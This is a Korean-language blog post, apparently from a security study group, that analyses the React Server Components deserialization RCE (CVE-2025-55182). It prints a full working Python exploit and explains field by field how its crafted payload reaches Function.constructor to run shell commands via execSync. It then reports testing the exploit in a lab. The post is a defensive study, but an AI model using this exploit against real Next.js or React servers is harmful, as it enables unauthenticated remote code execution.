오늘은 react2shell 취약점에 대해 알아볼 것이다.
개요

| 취약 버전 | react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack (19.0.0, 19.1.0, 19.1.1, 19.2.0) |
| 취약점 유형 | Remote Code Execution |
| 영향 | Pre-auth Remote Code Execution |
| 심각도 | CVSS 3.1 기준 10.0 CRITICAL |
*본 취약점은 React Server Components에서 발생하지만, Next.js, React Router 등 이를 사용하는 프레임워크나 도구에도 영향을 줄 수 있다.
배경 지식
- RSC(React Server Components)
- RSC는 React의 컴포넌트 실행은 서버에서 하고, 그 결과를 클라이언트에 전달하여 UI를 구성하는 기술이다.
- 기존처럼 모든 컴포넌트 로직을 브라우저에서 처리하는 것이 아닌, 서버에서 먼저 컴포넌트를 실행하고 필요한 결과만 클라이언트에 전달함으로써 클라이언트 측의 부담을 줄일 수 있다.
- Flight protocol
- RSC 환경에서는 서버와 클라이언트 사이에 HTML, JSON을 주고받는 것이 아닌, React 컴포넌트 구조와 참조 정보를 전달하기 위한 Flight protocol이라는 독자적인 프로토콜 및 직렬화 포맷을 이용한다.
- 직렬화(Serialization) / 역직렬화(Deserialization)
- 직렬화는 데이터 구조나 객체 상태를 저장하거나 전송할 수 있는 포맷(JSON, XML 등)으로 변환하는 과정을 의미한다.
- 역직렬화는 데이터를 원래의 객체나 데이터 구조로 복구하는 과정을 의미한다.
취약점 원인
// 개념적 흐름
Client
-> Server Function 호출
-> HTTP 요청 생성
-> payload 전송
Server
-> 요청 body 수신
-> payload 디코드
-> 역직렬화
-> 실제 Server Function 호출
React Server Functions는 클라이언트의 요청을 HTTP 요청 형태로 서버에 전달하고, 서버는 이를 다시 역직렬화하여 함수에 필요한 데이터로 복원한다.
해당 취약점은 React Server Components가 Server Function endpoint로 전달된 payload를 처리하는 과정에서 신뢰할 수 없는 입력을 안전하지 않게 역직렬화하면서 발생했다.
이로 인해 공격자가 조작한 payload가 서버 측 실행 흐름에 영향을 주었고, 최종적으로 원격 코드 실행으로 이어질 수 있었다.
PoC 분석
https://github.com/msanft/CVE-2025-55182/tree/main
GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182
Explanation and full RCE PoC for CVE-2025-55182. Contribute to msanft/CVE-2025-55182 development by creating an account on GitHub.
github.com
해당 레포의 PoC를 참고했다.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
전체 PoC는 다음과 같다.
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
먼저 요청 부분을 보면, PoC는 BASE_URL(서버 주소)로 files를 포함한 multipart/form-data 형식의 POST 요청을 전송한다.
여기서 files는 진짜 파일을 업로드하는 것이 아닌, multipart 요청을 만들기 위한 용도로 사용한다.
headers에 포함된 Next-Action 값은 Next.js의 Server Action 처리 경로로 전달되도록 만들기 위한 헤더이다.
즉, 서버는 해당 요청을 데이터 전송이 아닌 Server Action 처리 경로로 해석하게 된다.
또한 files의 "0"에는 crafted_chunk가 JSON 문자열 형태로 들어가고, "1"의 "$@0"은 0번 chunk에 대한 참조를 만드는 값이다.
이를 통해 payload를 Flight chunk 구조로 해석하도록 유도하기 위한 것이다.
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
핵심은 공격자가 조작한 crafted_chunk이다.
먼저 then 필드는 자바스크립트에서 Promise와 관련된 메서드로, Promise는 비동기 작업의 완료 또는 실패를 나타내는 객체이다.
Promise 객체는 then() 메서드를 통해 작업이 성공했을 때의 후속 동작을 연결할 수 있다.
자바스크립트에서 then 메서드를 가진 객체를 thenable처럼 취급할 수 있다.
즉, 반드시 실제 Promise 객체가 아니더라도, 특정 조건을 만족하면 Promise와 유사한 객체로 해석될 수 있다.
PoC는 then 필드에 "$1:__proto__:then" 값을 넣는다.
$1은 앞서 multipart 요청의 chunk 1에 대한 참조이다.
__proto__는 자바스크립트 객체의 프로토타입(부모 객체)에 접근하기 위한 속성이며, 마지막 then은 해당 프로토타입 상의 then 속성을 참조하도록 구성되어 있다.
자바스크립트에서는 프로토타입 기반 상속을 사용하므로, 객체는 자신의 속성뿐 아니라 프로토타입의 속성에도 접근할 수 있다.
따라서 해당 값은 단순 문자열이 아니라, 특정 객체의 프로토타입에 존재하는 then 속성을 참조한다고 볼 수 있다.
이를 통해 서버가 해당 객체를 일반 객체가 아닌 thenable처럼 인식하도록 유도한다.
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
이어서 status 필드에 "resolved_model" 값을 넣는다.
status 필드는 해당 객체가 어떤 상태에 있는지를 나타내는 메타데이터 역할을 한다.
"resolved_model" 값은 서버가 해당 객체를 아직 처리되지 않은 일반 입력이 아니라, 이미 resolve된 model chunk처럼 처리하도록 유도하는 역할을 한다. 이후 then이 호출되면 Chunk.prototype.then 내부에서 initializeModelChunk()가 실행될 수 있다.
initializeModelChunk() 함수는 resolve된 model chunk를 다시 파싱하고, 내부적으로 chunk.value를 JSON.parse()한 뒤 reviveModel()을 통해 실제 React 모델 객체로 복원한다.
value 필드에는 다시 initializeModelChunk()에서 파싱될 문자열 payload가 들어간다.
값은 {"then": "$B0"} 형태로 되어 있으며, 역직렬화 과정에서 추가적인 참조 관계를 형성한다.
여기서 $B0는 Flight 참조 포맷 중 하나로, 0번 Blob/form-data 슬롯을 가리키는 값으로 볼 수 있다.
앞서 multipart로 전송한 "0" 파트와 연결되어, 서버가 해당 데이터를 다시 참조 대상으로 해석하도록 유도한다.
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
_response 필드는 이후 reviveModel()과 parseModelString() 과정에서 Blob 참조를 해석할 때 사용되는 내부 구조이다.
해당 필드를 조작함으로써 역직렬화 과정에서 참조될 환경 자체를 통제할 수 있다.
먼저 _formData.get에는 "$1:constructor:constructor"가 들어간다.
해당 참조를 따라가면 Function.constructor에 도달하여 _formData.get 자리에 데이터 조회 함수가 아니라, Function 생성자 함수가 연결된다. 그 결과 Blob 조회 경로를 실행 가능한 함수 생성 경로로 바꿀 수 있다.
PoC에서 _prefix 필드에는 실제 실행될 문자열이 들어간다. 정상적인 Blob 처리에서는 blobKey = prefix + id를 만든 뒤 response._formData.get(blobKey)를 호출해야 하지만, _formData.get이 Function.constructor로 바뀌어 있기 때문에 _prefix에 포함된 문자열이 함수 생성의 입력으로 사용된다. _prefix에 포함된 문자열이 Function.constructor의 입력으로 사용되면서, 공격자가 삽입한 자바스크립트 코드가 서버에서 실행될 수 있다.
Payload 흐름도
[ Payload 흐름도 ]
1. 조작된 multipart/form-data 전송
2. 서버에서 요청을 받아 status가 조작된 chunk를 인자로 initializeModelChunk 호출
3. 속성 경로 탐색
3.1 "$1:__proto__:then" 해석 -> 경로 탐색을 통해 'Chunk.prototype.then' 함수 탈취 -> Fake chunk는 thenable 객체가 됨
3.2 "$1:constructor:constructor" 해석 -> 경로 탐색을 통해 Function 생성자 획득 -> "response._formData.get"를 생성자로 설정
4. reviveModel에서 fake chunk의 'value' 필드인 '{"then":"$B0"}' 파싱
5. "$B0" 참조를 해석하는 로직 실행 // response._formData.get(response._prefix + id);
6. 위 response는 공격자가 주입한 '_response'이며, 실제로는 Function 생성자 실행 // Function('process.mainModule.require.....');
7. 생성된 함수가 Promise 해석 과정에서 ':then()'으로 호출되면서 공격자의 악성 페이로드 실행
실습
*실습은 Kali Linux 가상 환경에서 진행하였으며, 레포에서 제공하는 취약한 test-server를 사용하였다.
- React 19.2.0
- Next.js 16.0.6

취약한 test-server 환경에서 poc.py를 실행하니 id 명령어 실행 결과가 응답에 포함된 것을 확인할 수 있다.
우측은 서버 로그이며, PoC의 응답과 id 명령어 실행 결과가 일치하므로, payload로 인해 RCE가 발생한 것을 알 수 있다.
'Knights Frontier_1st > 기술문서 | 블로그' 카테고리의 다른 글
| [ Knights Frontier ] 1기 소감문 (0) | 2026.04.11 |
|---|---|
| [ Knights Frontier ] CVE-2025-53773 분석 (0) | 2026.04.04 |
| [ Knights Frontier ] EDR 환경 구축 후 실습 (0) | 2026.04.01 |
| [ Knights Frontier ] PAC 보호 기법 (0) | 2026.03.25 |
| [ Knights Frontier ] CodeQL 원리와 사용법 분석 (1) | 2026.03.23 |